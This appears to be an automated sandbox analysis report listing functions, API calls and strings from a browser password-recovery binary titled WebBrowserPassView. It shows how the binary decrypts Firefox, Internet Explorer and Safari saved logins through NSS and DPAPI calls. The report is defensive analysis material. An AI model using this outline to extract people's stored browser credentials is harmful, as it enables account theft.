Opcode ID: e750de9405b69b73a16e34a7c973d61e0a85f8dff2a96d7ff9c71a90812ce4fe
Instruction ID: c34dd2395d73de7fd8324248a47ac8fcc6ed20e97332430ae650d69d176587ff
Opcode Fuzzy Hash: e750de9405b69b73a16e34a7c973d61e0a85f8dff2a96d7ff9c71a90812ce4fe
Instruction Fuzzy Hash: C8900286455511116C0425756C0760911480892176335074A7032959D1CE1C8150601C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00443A61, Relevance: 66.7, APIs: 23, Strings: 15, Instructions: 152libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00443A8C
wcscpy.MSVCRT ref: 00443AA3
memset.MSVCRT ref: 00443AD6
wcscpy.MSVCRT ref: 00443AEC
wcscat.MSVCRT ref: 00443AFD
wcscpy.MSVCRT ref: 00443B23
wcscat.MSVCRT ref: 00443B34
wcscpy.MSVCRT ref: 00443B5B
wcscat.MSVCRT ref: 00443B6C
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00443B7B
LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00443B92
LoadLibraryW.KERNEL32(sqlite3.dll,?,00000000,00000000), ref: 00443BA5
LoadLibraryW.KERNEL32(mozsqlite3.dll,?,00000000,00000000), ref: 00443BB3
LoadLibraryW.KERNEL32(nss3.dll,?,00000000,00000000), ref: 00443BC3
GetProcAddress.KERNEL32(?,sqlite3_open), ref: 00443BDF
GetProcAddress.KERNEL32(?,sqlite3_prepare), ref: 00443BEB
GetProcAddress.KERNEL32(?,sqlite3_step), ref: 00443BF8
GetProcAddress.KERNEL32(?,sqlite3_column_text), ref: 00443C05
GetProcAddress.KERNEL32(?,sqlite3_column_int), ref: 00443C12
GetProcAddress.KERNEL32(?,sqlite3_column_int64), ref: 00443C1F
GetProcAddress.KERNEL32(?,sqlite3_finalize), ref: 00443C2C
GetProcAddress.KERNEL32(?,sqlite3_close), ref: 00443C39
GetProcAddress.KERNEL32(?,sqlite3_exec), ref: 00443C46

Strings

\nss3.dll, xrefs: 00443B66
sqlite3_column_int64, xrefs: 00443C14
sqlite3_close, xrefs: 00443C2E
sqlite3_column_int, xrefs: 00443C07
sqlite3_exec, xrefs: 00443C3B
mozsqlite3.dll, xrefs: 00443BAE
sqlite3.dll, xrefs: 00443BA0
sqlite3_column_text, xrefs: 00443BFA
\mozsqlite3.dll, xrefs: 00443B2E
nss3.dll, xrefs: 00443BBE
sqlite3_open, xrefs: 00443BD9
sqlite3_step, xrefs: 00443BED
\sqlite3.dll, xrefs: 00443AF7
sqlite3_finalize, xrefs: 00443C21
sqlite3_prepare, xrefs: 00443BE1

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$LibraryLoadwcscpy$wcscat$memset$HandleModule
String ID: \mozsqlite3.dll$\nss3.dll$\sqlite3.dll$mozsqlite3.dll$nss3.dll$sqlite3.dll$sqlite3_close$sqlite3_column_int$sqlite3_column_int64$sqlite3_column_text$sqlite3_exec$sqlite3_finalize$sqlite3_open$sqlite3_prepare$sqlite3_step
API String ID: 2522319644-522817110
Opcode ID: 7f353f14b8243b6bfeb803f42ecde1dc337dcabdc0f1235d43c8e9788d600036
Instruction ID: 5ad66febf3ba3de4182efca1dfca8304e8a02b444a88a93b5109a45c6fbe2280
Opcode Fuzzy Hash: 7f353f14b8243b6bfeb803f42ecde1dc337dcabdc0f1235d43c8e9788d600036
Instruction Fuzzy Hash: 0E5153B1940719AAEB20FFA28D49F47B6E8AF58B04F1109ABE549D2141E77CE644CF18

Uniqueness

Uniqueness Score: -1.00%

Function 00408CAC, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 37fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,nss3.dll,00000000), ref: 00408CC4
FindNextFileW.KERNEL32(00000000,?), ref: 00408CE3
FindClose.KERNEL32(00000000), ref: 00408D03

Strings

1k@, xrefs: 00408CEF
nss3.dll, xrefs: 00408CB6
., xrefs: 00408CD1

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: .$1k@$nss3.dll
API String ID: 3541575487-3908353483
Opcode ID: 44fa9e536a02e76a834846768dd1f10842e2d891e0e560e34b8b660adb550914
Instruction ID: f3d79de5d6fec64b9baa04ebfd9a669330ca9081903d010b6bc69252f5057639
Opcode Fuzzy Hash: 44fa9e536a02e76a834846768dd1f10842e2d891e0e560e34b8b660adb550914
Instruction Fuzzy Hash: 6CF0BB759005246BDF205B64EC4C6ABB7BCFF45365F000176ED06A71C1D7749D458A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F078, Relevance: 4.5, APIs: 3, Instructions: 44fileclipboardCOMMON

Download Yara Rule

APIs

Part of subcall function 004080FD: GetTempPathW.KERNEL32(00000104,?,?), ref: 00408114
Part of subcall function 004080FD: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00408126
Part of subcall function 004080FD: GetTempFileNameW.KERNELBASE(?,004029F6,00000000,?), ref: 0040813D

OpenClipboard.USER32(?), ref: 0040F0B6
GetLastError.KERNEL32 ref: 0040F0CB
DeleteFileW.KERNEL32(?), ref: 0040F0EA

Part of subcall function 00407F9A: EmptyClipboard.USER32 ref: 00407FA4
Part of subcall function 00407F9A: GetFileSize.KERNEL32(00000000,00000000), ref: 00407FC1
Part of subcall function 00407F9A: GlobalAlloc.KERNEL32(00002000,00000002), ref: 00407FD2
Part of subcall function 00407F9A: GlobalLock.KERNEL32 ref: 00407FDF
Part of subcall function 00407F9A: ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00407FF2
Part of subcall function 00407F9A: GlobalUnlock.KERNEL32(00000000), ref: 00408004
Part of subcall function 00407F9A: SetClipboardData.USER32 ref: 0040800D
Part of subcall function 00407F9A: CloseHandle.KERNEL32(?), ref: 00408021
Part of subcall function 00407F9A: CloseClipboard.USER32 ref: 00408035

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ClipboardFile$Global$CloseTemp$AllocDataDeleteDirectoryEmptyErrorHandleLastLockNameOpenPathReadSizeUnlockWindows
String ID:
API String ID: 2633007058-0
Opcode ID: dbdd240ec4c17506c233b057a251f0f9826ab019b5c58cf36240f842d410ce54
Instruction ID: d4411bd4de1fade650879fa69a29e8aba7a0aa0f0e0d1894cd1391532f6ebd18
Opcode Fuzzy Hash: dbdd240ec4c17506c233b057a251f0f9826ab019b5c58cf36240f842d410ce54
Instruction Fuzzy Hash: 4CF0A4357003006BEA3027359C0EF9B375DDB80714F00453AF852A65D3EE79E8898568

Uniqueness

Uniqueness Score: -1.00%

Function 00402316, Relevance: 110.5, APIs: 9, Strings: 54, Instructions: 282COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0040233E
_wcsicmp.MSVCRT ref: 0040236E
_wcsicmp.MSVCRT ref: 0040239B
_wcsicmp.MSVCRT ref: 004023C8

Part of subcall function 00408F43: wcslen.MSVCRT ref: 00408F56
Part of subcall function 00408F43: memcpy.MSVCRT ref: 00408F75

memset.MSVCRT ref: 0040276C
memcpy.MSVCRT ref: 004027A1

Part of subcall function 00403BB9: LoadLibraryW.KERNEL32(crypt32.dll,?,00000000,004027E9,?,00000090,00000000,?), ref: 00403BC8
Part of subcall function 00403BB9: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00403BDA
Part of subcall function 00403BB9: FreeLibrary.KERNEL32(00000000), ref: 00403BFD

memcpy.MSVCRT ref: 004027FD
LocalFree.KERNEL32(?,?,?,00000000,?,00000090,00000000,?), ref: 0040285B
FreeLibrary.KERNEL32(00000000,?,00000090,00000000,?), ref: 0040286A

Strings

~, xrefs: 004026B6
com.apple.WebKit2WebProcess, xrefs: 00402793
>, xrefs: 00402411
\, xrefs: 0040264D
), xrefs: 004026E7
&, xrefs: 00402703
server, xrefs: 0040232A
t, xrefs: 00402757
z, xrefs: 0040269A
#, xrefs: 0040270A
q, xrefs: 004025EC
com.apple.Safari, xrefs: 00402771
w, xrefs: 00402615
@, xrefs: 00402670
O, xrefs: 0040249D
2, xrefs: 004026BD
b, xrefs: 00402434
g, xrefs: 00402457
=, xrefs: 0040265B
y, xrefs: 0040248F
L, xrefs: 00402726
^, xrefs: 0040273B
h, xrefs: 004025FA
`, xrefs: 004025DE
Data, xrefs: 004023BD
0, xrefs: 0040254B
H, xrefs: 0040240A
t, xrefs: 00402734
!, xrefs: 00402662
t, xrefs: 00402669
Path, xrefs: 00402363
X, xrefs: 00402742
', xrefs: 00402514
u, xrefs: 0040251B
>, xrefs: 00402426
K, xrefs: 00402677
I, xrefs: 00402530
&, xrefs: 00402449
{, xrefs: 004024C0
Account, xrefs: 00402390
y, xrefs: 004025A6
n, xrefs: 004026CB
a, xrefs: 0040262A
/, xrefs: 0040261C
F, xrefs: 004024E3
8, xrefs: 004025D7
A, xrefs: 004024AB
n, xrefs: 0040268C
}, xrefs: 0040241F
K, xrefs: 004024DC
$, xrefs: 004026D9
S, xrefs: 0040260E
u, xrefs: 0040258A
H, xrefs: 00402418

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcsicmp$FreeLibrarymemcpy$AddressLoadLocalProcmemsetwcslen
String ID: !$#$$$&$&$'$)$/$0$2$8$=$>$>$@$A$Account$Data$F$H$H$I$K$K$L$O$Path$S$X$\$^$`$a$b$com.apple.Safari$com.apple.WebKit2WebProcess$g$h$n$n$q$server$t$t$t$u$u$w$y$y$z${$}$~
API String ID: 462158748-1134094380
Opcode ID: 246289cc761095d3282f061c6661885811be97903d0431df7fe71b9348d70a6f
Instruction ID: 2d0d0591d6411435ed5b4a397348faa82e1f821ad6e98c1f3977ba2ad668a768
Opcode Fuzzy Hash: 246289cc761095d3282f061c6661885811be97903d0431df7fe71b9348d70a6f
Instruction Fuzzy Hash: FBF1F2218087E9C9DB32C7788C097DEBE655B23324F0443D9D1E87A2D2D7B94B85CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA82, Relevance: 59.8, APIs: 27, Strings: 7, Instructions: 275stringCOMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0040AA9A
_wcsicmp.MSVCRT ref: 0040AAAF
_wcsnicmp.MSVCRT ref: 0040AAC9
_wcsnicmp.MSVCRT ref: 0040AADD
wcslen.MSVCRT ref: 0040AAEE
_wcsicmp.MSVCRT ref: 0040AB10
memset.MSVCRT ref: 0040AB55
wcscpy.MSVCRT ref: 0040AB62
wcslen.MSVCRT ref: 0040AB83
wcslen.MSVCRT ref: 0040AB9B
_wcsicmp.MSVCRT ref: 0040ABE0
_wcsicmp.MSVCRT ref: 0040ABF3
_wcsnicmp.MSVCRT ref: 0040AC0A
memset.MSVCRT ref: 0040AC50
wcschr.MSVCRT ref: 0040AC58
wcslen.MSVCRT ref: 0040AC60
wcscpy.MSVCRT ref: 0040AC7E
wcschr.MSVCRT ref: 0040AC8C
_wcsnicmp.MSVCRT ref: 0040ACBC
memset.MSVCRT ref: 0040ACF0
strlen.MSVCRT ref: 0040ACF6
memcpy.MSVCRT ref: 0040AD12
strchr.MSVCRT ref: 0040AD27
memset.MSVCRT ref: 0040AD51
memset.MSVCRT ref: 0040AD66
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 0040AD87
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 0040AD9A

Strings

ftp://, xrefs: 0040AC04
wininetcachecredentials, xrefs: 0040ABD7, 0040ABDC, 0040ABEF
:stringdata, xrefs: 0040AB0A
https://, xrefs: 0040AAD7
http://, xrefs: 0040AAC3
dpapi:, xrefs: 0040ACB6
internet explorer, xrefs: 0040AA8E, 0040AA93, 0040AAAB

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcsicmpmemset$_wcsnicmpwcslen$ByteCharMultiWidewcschrwcscpy$memcpystrchrstrlen
String ID: :stringdata$dpapi:$ftp://$http://$https://$internet explorer$wininetcachecredentials
API String ID: 2787044678-1843504584
Opcode ID: e2457ad6ca42d193e80316c10ddae1068f24ef91d2d9060435258109d1c91a7c
Instruction ID: f322a3b8e7f5a6d162087a7bfffa82d5495360e728e73a59fe9151b9b78652c6
Opcode Fuzzy Hash: e2457ad6ca42d193e80316c10ddae1068f24ef91d2d9060435258109d1c91a7c
Instruction Fuzzy Hash: 8191B271500219ABEF20DF55CC45FEF776DAF91314F01046AF948A7181EA3CEDA48B69

Uniqueness

Uniqueness Score: -1.00%

Function 004136DC, Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 265COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00413709
GetDlgItem.USER32 ref: 00413715
GetWindowLongW.USER32(00000000,000000F0), ref: 00413724
GetWindowLongW.USER32(?,000000F0), ref: 00413730
GetWindowLongW.USER32(00000000,000000EC), ref: 00413739
GetWindowLongW.USER32(?,000000EC), ref: 00413745
GetWindowRect.USER32 ref: 00413757
GetWindowRect.USER32 ref: 00413762
MapWindowPoints.USER32 ref: 00413776
MapWindowPoints.USER32 ref: 00413784
GetDC.USER32 ref: 004137BD
wcslen.MSVCRT ref: 004137FD
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0041380E
ReleaseDC.USER32 ref: 0041385B
_snwprintf.MSVCRT ref: 0041391E
SetWindowTextW.USER32(?,?), ref: 00413932
SetWindowTextW.USER32(?,00000000), ref: 00413950
GetDlgItem.USER32 ref: 00413986
GetWindowRect.USER32 ref: 00413996
MapWindowPoints.USER32 ref: 004139A4
GetClientRect.USER32 ref: 004139BB
GetWindowRect.USER32 ref: 004139C5
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00413A0B
GetClientRect.USER32 ref: 00413A15
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00413A4D

Strings

STATIC, xrefs: 004138BD
EDIT, xrefs: 004138F3
%s:, xrefs: 00413913

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Release_snwprintfwcslen
String ID: %s:$EDIT$STATIC
API String ID: 2080319088-3046471546
Opcode ID: 0f661689a16f30b4fa36713fc37c722b17d06984e66b4dec75b1866f03cb0f10
Instruction ID: eaed71e83b935c0691042ece96cd3f4181ba93c5b62309cd5e6c1ba419c0f7d3
Opcode Fuzzy Hash: 0f661689a16f30b4fa36713fc37c722b17d06984e66b4dec75b1866f03cb0f10
Instruction Fuzzy Hash: 8AB1CE71108701AFDB21DFA8C985A6BBBF9FB88704F004A2EF59582261DB75E904CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0040109F, Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 004010F7
ChildWindowFromPoint.USER32 ref: 00401109
GetDlgItem.USER32 ref: 0040113F
ChildWindowFromPoint.USER32 ref: 0040114C
GetDlgItem.USER32 ref: 0040117A
ChildWindowFromPoint.USER32 ref: 0040118C
GetModuleHandleW.KERNEL32(00000000,?,?), ref: 00401195
LoadCursorW.USER32(00000000,00000067), ref: 0040119E
SetCursor.USER32(00000000,?,?), ref: 004011A5
GetDlgItem.USER32 ref: 004011C6
ChildWindowFromPoint.USER32 ref: 004011D3
GetDlgItem.USER32 ref: 004011ED
SetBkMode.GDI32(?,00000001), ref: 004011F9
SetTextColor.GDI32(?,00C00000), ref: 00401207
GetSysColorBrush.USER32(0000000F), ref: 0040120F
GetDlgItem.USER32 ref: 00401230
EndDialog.USER32(?,?), ref: 00401265
DeleteObject.GDI32(?), ref: 00401271
GetDlgItem.USER32 ref: 00401296
ShowWindow.USER32(00000000), ref: 0040129F
GetDlgItem.USER32 ref: 004012AB
ShowWindow.USER32(00000000), ref: 004012AE
SetDlgItemTextW.USER32 ref: 004012BF
SetWindowTextW.USER32(?,WebBrowserPassView), ref: 004012CD
SetDlgItemTextW.USER32 ref: 004012E5
SetDlgItemTextW.USER32 ref: 004012F6

Strings

WebBrowserPassView, xrefs: 004012C5

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
String ID: WebBrowserPassView
API String ID: 829165378-2171583229
Opcode ID: 95eecf1aeaf4173b7886c49fcd2dca83b006b5accde3bfdcc70f81c0122d4831
Instruction ID: da1635bf63897f0d85a147e608c4a0468d220b7f7222c61bbc2b07ca64c81474
Opcode Fuzzy Hash: 95eecf1aeaf4173b7886c49fcd2dca83b006b5accde3bfdcc70f81c0122d4831
Instruction Fuzzy Hash: 4751BF34500B08EBDF22AF60CC45E6E7BB5FB04341F104A3AF952A65F1C7B9A950EB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040716C, Relevance: 42.2, APIs: 11, Strings: 13, Instructions: 221COMMON

Download Yara Rule

APIs

Part of subcall function 0040AE5E: GetFileSize.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 0040AE7C
Part of subcall function 0040AE5E: CloseHandle.KERNEL32(?,?,000000FF,00000000), ref: 0040AECC

Part of subcall function 0040AF0C: _wcsicmp.MSVCRT ref: 0040AF46

memset.MSVCRT ref: 004071FD
memset.MSVCRT ref: 00407212
_wtoi.MSVCRT ref: 00407306
_wcsicmp.MSVCRT ref: 0040731A
memset.MSVCRT ref: 0040733B
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,encryptedPassword,encryptedUsername,hostname,?,?,?,?,?), ref: 0040736F
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 00407386
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 0040739D
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 004073B4
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 004073CB

Part of subcall function 00407150: _wtoi64.MSVCRT ref: 00407154

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 004073E2

Part of subcall function 00406FCE: memset.MSVCRT ref: 00406FF4
Part of subcall function 00406FCE: memset.MSVCRT ref: 00407008
Part of subcall function 00406FCE: strcpy.MSVCRT(?,?,?,00407919,?,?,?,?,?,?,?,?,?), ref: 00407022
Part of subcall function 00406FCE: strcpy.MSVCRT(?,?,?,?,?,?,?,00407919,?,?,?,?,?,?,?,?), ref: 00407067
Part of subcall function 00406FCE: strcpy.MSVCRT(?,00001000,?,?,?,?,?,?,?,00407919,?,?,?,?,?,?), ref: 0040707B
Part of subcall function 00406FCE: strcpy.MSVCRT(?,?,?,00001000,?,?,?,?,?,?,?,00407919,?,?,?,?), ref: 0040708E
Part of subcall function 00406FCE: wcscpy.MSVCRT ref: 0040709D
Part of subcall function 00406FCE: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,?,?,?,?,?,?,?,?,?,00407919), ref: 004070C3
Part of subcall function 00406FCE: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,?,?,?,?,?,?,?,?,?,00407919), ref: 004070DD

Strings

null, xrefs: 00407312
{@, xrefs: 00407187
timeLastUsed, xrefs: 00407275
encryptedUsername, xrefs: 00407227
timesUsed, xrefs: 0040728F
encryptedPassword, xrefs: 00407234
timePasswordChanged, xrefs: 00407282
timeCreated, xrefs: 00407268
logins, xrefs: 004071A3
httpRealm, xrefs: 0040725B
hostname, xrefs: 0040721A
passwordField, xrefs: 0040724E
usernameField, xrefs: 00407241

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharMultiWide$memset$strcpy$_wcsicmp$CloseFileHandleSize_wtoi_wtoi64wcscpy
String ID: encryptedPassword$encryptedUsername$hostname$httpRealm$logins$null$passwordField$timeCreated$timeLastUsed$timePasswordChanged$timesUsed$usernameField${@
API String ID: 249851626-1964116028
Opcode ID: f83336717777015bdd387c70ff19f8d8dea43565f379cc6d354a67410e16ebc2
Instruction ID: c3ecdf3b596e70815539cea729ffc079dd9e4b065ea23c8e33f814b0aa12875c
Opcode Fuzzy Hash: f83336717777015bdd387c70ff19f8d8dea43565f379cc6d354a67410e16ebc2
Instruction Fuzzy Hash: 48717FB1D40219AEEF10EBA2DC82DEEB778EF40318F1041BBB514B61D1DA785E548F69

Uniqueness

Uniqueness Score: -1.00%

Function 004113C8, Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 0041140D
GetDlgItem.USER32 ref: 00411425
SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00411443
SendMessageW.USER32(?,00000301,00000000,00000000), ref: 0041144F
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00411457
memset.MSVCRT ref: 0041147E
memset.MSVCRT ref: 004114A0
memset.MSVCRT ref: 004114B9
memset.MSVCRT ref: 004114CD
memset.MSVCRT ref: 004114E7
memset.MSVCRT ref: 004114FC
GetCurrentProcess.KERNEL32 ref: 00411504
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 00411527
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 00411559
memset.MSVCRT ref: 004115AC
GetCurrentProcessId.KERNEL32 ref: 004115BA
memcpy.MSVCRT ref: 004115E8
wcscpy.MSVCRT ref: 0041160B
_snwprintf.MSVCRT ref: 0041167A
SetDlgItemTextW.USER32 ref: 00411692
GetDlgItem.USER32 ref: 0041169C
SetFocus.USER32(00000000), ref: 004116A3

Strings

Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 0041166F
{Unknown}, xrefs: 00411492

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
API String ID: 4111938811-1819279800
Opcode ID: 90da657ec00e0420fe607ad2b08ab2d4d1c9452f0f92480a5461980c4d7a2d07
Instruction ID: 77b13c0c11c75301577e42814f96b51b4b1d428f570956a2458bc96a91f7f52b
Opcode Fuzzy Hash: 90da657ec00e0420fe607ad2b08ab2d4d1c9452f0f92480a5461980c4d7a2d07
Instruction Fuzzy Hash: A17193B280021CBFEF219B51DD45EDA376DEB49355F04407BF608A2162EB79DE848F68

Uniqueness

Uniqueness Score: -1.00%

Function 00411760, Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 124libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411781
GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,00000000), ref: 004117CA
SetCurrentDirectoryW.KERNEL32(?,?,?,00000000), ref: 004117D7
memset.MSVCRT ref: 004117F1
wcslen.MSVCRT ref: 004117FE
wcslen.MSVCRT ref: 0041180D
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,00000000), ref: 00411848
LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,00000000), ref: 00411864
LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,00000000), ref: 0041187B
GetProcAddress.KERNEL32(?,NSS_Init), ref: 00411890
GetProcAddress.KERNEL32(?,NSS_Shutdown), ref: 0041189C
GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot), ref: 004118A8
GetProcAddress.KERNEL32(?,PK11_FreeSlot), ref: 004118B4
GetProcAddress.KERNEL32(?,PK11_CheckUserPassword), ref: 004118C0
GetProcAddress.KERNEL32(?,PK11_Authenticate), ref: 004118CC
GetProcAddress.KERNEL32(?,PK11SDR_Decrypt), ref: 004118D8

Part of subcall function 00406B51: memset.MSVCRT ref: 00406B72
Part of subcall function 00406B51: memset.MSVCRT ref: 00406BBF
Part of subcall function 00406B51: RegCloseKey.ADVAPI32(00411799), ref: 00406CF9
Part of subcall function 00406B51: wcscpy.MSVCRT ref: 00406D07
Part of subcall function 00406B51: ExpandEnvironmentStringsW.KERNEL32(%programfiles%\Mozilla Firefox,?,00000104,?,?,?,?,00000000,?), ref: 00406D22
Part of subcall function 00406B51: GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000000,?), ref: 00406D62

Strings

PK11_GetInternalKeySlot, xrefs: 0041189E
nss3.dll, xrefs: 004117F9, 00411821
NSS_Init, xrefs: 00411889
NSS_Shutdown, xrefs: 00411892
PK11SDR_Decrypt, xrefs: 004118CE
PK11_FreeSlot, xrefs: 004118AA
PK11_CheckUserPassword, xrefs: 004118B6
PK11_Authenticate, xrefs: 004118C2

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$memset$CurrentDirectory$LibraryLoadwcslen$CloseEnvironmentExpandHandleModuleStringswcscpy
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_CheckUserPassword$PK11_FreeSlot$PK11_GetInternalKeySlot$nss3.dll
API String ID: 2554026968-4029219660
Opcode ID: 7c93af92ebe1cbc07e734f03157ceb35d9bfa718ada41e904e5ecd81d5fd5f56
Instruction ID: 97ddbdf8ae905254a000a89cdfb80c97087349b9056a3f7eb9cac2f120fabdad
Opcode Fuzzy Hash: 7c93af92ebe1cbc07e734f03157ceb35d9bfa718ada41e904e5ecd81d5fd5f56
Instruction Fuzzy Hash: D2419271940308ABDB20AF61CC85E9AB7F8FF58344F10486FE295D3151EBB8D9848B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00407991, Relevance: 40.5, APIs: 18, Strings: 5, Instructions: 259COMMON

Download Yara Rule

APIs

Part of subcall function 00411760: memset.MSVCRT ref: 00411781
Part of subcall function 00411760: GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,00000000), ref: 004117CA
Part of subcall function 00411760: SetCurrentDirectoryW.KERNEL32(?,?,?,00000000), ref: 004117D7
Part of subcall function 00411760: memset.MSVCRT ref: 004117F1
Part of subcall function 00411760: wcslen.MSVCRT ref: 004117FE
Part of subcall function 00411760: wcslen.MSVCRT ref: 0041180D
Part of subcall function 00411760: GetModuleHandleW.KERNEL32(?,?,?,?,?,?,00000000), ref: 00411848
Part of subcall function 00411760: LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,00000000), ref: 00411864
Part of subcall function 00411760: LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,00000000), ref: 0041187B
Part of subcall function 00411760: GetProcAddress.KERNEL32(?,NSS_Init), ref: 00411890
Part of subcall function 00411760: GetProcAddress.KERNEL32(?,NSS_Shutdown), ref: 0041189C
Part of subcall function 00411760: GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot), ref: 004118A8
Part of subcall function 00411760: GetProcAddress.KERNEL32(?,PK11_FreeSlot), ref: 004118B4
Part of subcall function 00411760: GetProcAddress.KERNEL32(?,PK11_CheckUserPassword), ref: 004118C0

memset.MSVCRT ref: 004079D1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000,?,00000000,?), ref: 004079EA
memset.MSVCRT ref: 00407A23
memset.MSVCRT ref: 00407A3B
memset.MSVCRT ref: 00407A53
memset.MSVCRT ref: 00407A6B
memset.MSVCRT ref: 00407A83
wcslen.MSVCRT ref: 00407A8E
wcslen.MSVCRT ref: 00407A9C
wcslen.MSVCRT ref: 00407ACB
wcslen.MSVCRT ref: 00407AD9
wcslen.MSVCRT ref: 00407B08
wcslen.MSVCRT ref: 00407B16
wcslen.MSVCRT ref: 00407B45
wcslen.MSVCRT ref: 00407B53
wcslen.MSVCRT ref: 00407B82
wcslen.MSVCRT ref: 00407B90
SetCurrentDirectoryW.KERNEL32(?), ref: 00407CAB

Part of subcall function 004083D6: wcscpy.MSVCRT ref: 004083DE
Part of subcall function 004083D6: wcscat.MSVCRT ref: 004083ED

Part of subcall function 00408250: GetFileAttributesW.KERNELBASE(?,0040BC93,?,0040BD4A,00000000,?,00000000,00000208,?), ref: 00408254

Part of subcall function 0040744D: memset.MSVCRT ref: 0040748C
Part of subcall function 0040744D: memset.MSVCRT ref: 0040750B
Part of subcall function 0040744D: memset.MSVCRT ref: 00407520

Strings

signons.txt, xrefs: 00407A95, 00407AAA
